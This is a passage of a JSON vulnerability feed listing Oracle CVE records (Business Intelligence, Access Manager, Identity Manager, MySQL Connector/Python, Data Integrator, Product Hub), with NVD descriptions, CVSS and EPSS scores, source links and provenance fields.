NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:06.623Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87296","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00398,"percentile":0.33771,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87296&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87296","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87296","type":"primary","publishedAt":"2026-10-20T22:20:06.623Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87296&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87296, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87263","cveId":"CVE-2026-87263","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).","summary":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).  Supported versions that are affected are 8.2.0.0.0 and  26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).  Supported versions that are affected are 8.2.0.0.0 and  26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:05.820Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87263","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00447,"percentile":0.38615,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87263&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87263","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87263","type":"primary","publishedAt":"2026-10-20T22:20:05.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87263&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87263, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83426","cveId":"CVE-2026-83426","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).","summary":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Access Manager accessible data as well as  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Access Manager accessible data as well as  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:57.483Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83426","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00327,"percentile":0.25569,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83426&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83426","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83426","type":"primary","publishedAt":"2026-10-20T22:19:57.483Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83426&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83426, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83409","cveId":"CVE-2026-83409","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).","summary":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via SAML to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via SAML to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:57.353Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83409","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00377,"percentile":0.3136,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83409&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83409","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83409","type":"primary","publishedAt":"2026-10-20T22:19:57.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83409&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83409, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83407","cveId":"CVE-2026-83407","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).","summary":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data as well as  unauthorized update, insert or delete access to some of Oracle Access Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Access Manager. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L).","detail":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data as well as  unauthorized update, insert or delete access to some of Oracle Access Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Access Manager. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:57.233Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83407","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00363,"percentile":0.29815,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83407&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83407","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83407","type":"primary","publishedAt":"2026-10-20T22:19:57.233Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83407&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83407, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83404","cveId":"CVE-2026-83404","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/Python).","summary":"Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/Python).   The supported version that is affected is 26.7.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all MySQL Connectors accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/Python).   The supported version that is affected is 26.7.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all MySQL Connectors accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:56.997Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle","Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83404","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00409,"percentile":0.34896,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83404&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83404","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83404","type":"primary","publishedAt":"2026-10-20T22:19:56.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83404&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83404, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83403","cveId":"CVE-2026-83403","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).","summary":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:56.883Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83403","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00447,"percentile":0.38615,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83403&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83403","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83403","type":"primary","publishedAt":"2026-10-20T22:19:56.883Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83403&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83403, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83402","cveId":"CVE-2026-83402","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).","summary":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:56.770Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83402","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00459,"percentile":0.39536,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83402&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83402","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83402","type":"primary","publishedAt":"2026-10-20T22:19:56.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83402&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83402, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83398","cveId":"CVE-2026-83398","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Data Transforms).","summary":"Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Data Transforms).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Data Integrator accessible data as well as  unauthorized update, insert or delete access to some of Oracle Data Integrator accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).","detail":"Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Data Transforms).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Data Integrator accessible data as well as  unauthorized update, insert or delete access to some of Oracle Data Integrator accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:56.310Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83398","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00339,"percentile":0.27066,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83398&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83398","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83398","type":"primary","publishedAt":"2026-10-20T22:19:56.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83398&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83398, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83393","cveId":"CVE-2026-83393","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  While the vulnerability is in Oracle Product Hub, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  While the vulnerability is in Oracle Product Hub, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 